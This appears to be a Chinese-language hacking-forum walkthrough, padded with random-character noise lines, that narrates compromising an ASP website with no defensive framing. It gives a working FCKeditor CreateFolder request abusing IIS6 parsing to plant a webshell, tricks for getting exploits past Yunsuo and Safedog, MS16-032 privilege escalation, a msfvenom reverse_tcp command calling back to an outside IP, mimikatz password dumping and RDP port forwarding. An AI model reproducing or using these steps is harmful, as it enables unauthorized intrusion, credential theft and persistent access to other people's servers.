|
# {! K* m, {* M/ r' t& Y L 9 t8 `: l2 t& k* W* u
/ c; w8 m2 \# L
$ T2 O& L( Z# |7 g |
) C- J! M5 m0 w! e
( }1 E' D) {8 z: y* J- u- U( J) |( A
0 i8 c+ ^* o$ q* }2 w一、 利用getwebshell篇
6 h. J3 x- ~' S ' ]' e) a! v# z8 T
首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: " e3 E9 M. l$ T% S4 V+ G
 ; J7 J# y) U* N3 _ r
 / i. d" m% R* z/ b+ n6 G
下面进后台发现有fckeditor,而且还是iis6.0的,可以考虑创建个asp目录来构造解析(fck编辑器路径被改成别的需要burpsuite抓包的时候看到) ' O- N/ r3 M0 q1 y

0 z* s- B. @% J8 l下面我们构造一个asp目录,如: & A4 Z& F+ ?. ?. D- {
4 `/ [! B& H% x% [- f
$ F) z4 A' x9 `, X% _* p9 O4 i
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 ; v( K, ~! b' J9 e9 R1 J
4 @- r6 O9 V9 v; c7 h1 ], t( `( s$ f$ K4 ~
0 p2 ?; e0 l: [ 然后再给shell.asp目录上传一个jpg图片格式的一句话,然后用hatchet打开,然后看了一下支持aspx,那么我们就用包含的办法先把aspx后缀名改成.rar,然后再创建个111.ASPx,里面包含rar文件,进去以后看进程有云锁和安全狗,那么,那么我们慢慢来,慢慢来。 8 x j. Y& M z* d( w- t1 w* @
0 ?' S8 O5 s- N, s3 b# v一、 绕过安全狗云锁提权并且加账号 - }' ~, }1 X9 h# X& N
 " A4 ^7 x l1 t2 q
没法看系统信息,但是根据网站404页面可以断定是2003服务器,然后接着访问C:\Program Files (x86)存在断定是2003 64位系统,那么我们说干就干,我们上传ms16-032 64位直接干,但是发现上传exe或者别的格式exp会自动消失,看进程也没杀毒呀,没错没杀毒,是云锁有个功能防御了,那么突破云锁上传的方法就是利用rar,先把exp打包为64.rar上传,然后我们翻一下rar在哪个目录,在C:\Program Files (x86),然后开干 2 s0 Z+ i* C: P- y
6 A' Z- _2 P/ r6 F8 {
如图:
& P) M% s1 p- Z+ l* [/ }0 c2 E$ u - l% d) t% j& R) J
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组,我操后来也想着用getpassword64抓明文密码,但是一执行就卡死,没办法想到了metasploit 9 k" S% x7 E8 W
% d* h g/ n5 S0 P
一、 利用metasploit / k- Z8 @; X+ c* U% U! W
' J. D7 F9 _8 p首先用pentestbox生成一个64位的payload如下命令 9 F& l# [' a# l
1 E: Y9 H! D3 }6 n) [, g ~msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe & v6 l0 {5 l2 ~' j
) K* P* j6 c" E. Y3 s% b为什么要用443端口,之前我测试用别的端口直接被墙了没法上线,下面我们在system下执行这个mata,上线如图:
3 U& W7 N0 b6 B& i1 }" ]3 t( e
- t* _9 k/ y/ b+ V, |/ C0 J% [0 P8 ]下面我们用这个命令抓一下明文密码命令1:use mimikatz 命令2:kerberos如下图:
% y' p. G) q6 \' u1 U. R, H# h. G , e/ V3 Q; F* W ~, m
下面我们来做一个监听如下命令: 1 v' i7 Y: W1 \* u( C# l3 W
9 I8 Q! K9 G5 I; E' ^; Z/ ?2 j
portfwd add -l 6655 -p 3968 -r 127.0.0.1,这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图: ' k A6 f* H" N% ]8 Y: k
2 O# k9 {3 d- M$ U' W
& r/ X) D& h9 f# G' y1 S0 @1 p
|
+ s- o3 E3 p+ B; p; J. T2 F $ ]& I; y, o$ g4 ?/ m: P
& N# n3 L, J3 \; }9 ]2 _& {% T 7 c0 r6 W a5 ^ O d, }1 y
7 ]% f' D, I2 }& g2 n" c
" d4 t: W/ l: I* K
: Y2 F( h" G9 v: O9 {# [
: S4 ?. R/ K. k# X
7 f, j# J g) i' e/ Y1 I0 l/ [3 v8 P
( R( N' l9 N: t6 a: _. J1 y. |% k+ z 8 d/ _' t' k5 I t; s& R
6 N; v, e6 ?7 y, V/ n$ P# _# n
e. {1 F: z6 @8 a5 i$ [, K |